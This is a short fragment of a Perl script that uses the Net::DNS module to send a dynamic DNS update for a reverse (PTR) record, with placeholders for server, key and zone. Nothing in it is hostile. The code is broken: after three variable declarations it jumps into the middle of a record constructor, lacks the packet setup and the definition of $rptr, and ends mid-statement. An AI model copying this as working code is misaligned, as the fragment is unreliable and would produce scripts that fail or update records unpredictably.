#!/usr/bin/perl -w

use Net::DNS;

our $NSI = '<dns server>';

our $NSI_KEY = '<key>';

my $rzone = '<zone>';

        Name  => $rptr,
        Class => 'IN',
        Type  => 'ANY',
        TTL   => 0,
    )
);
$packet->push(
    update => Net::DNS::RR->new(
        Name  => $rptr,
        Class => 'ANY',
        Type  => 'ANY',
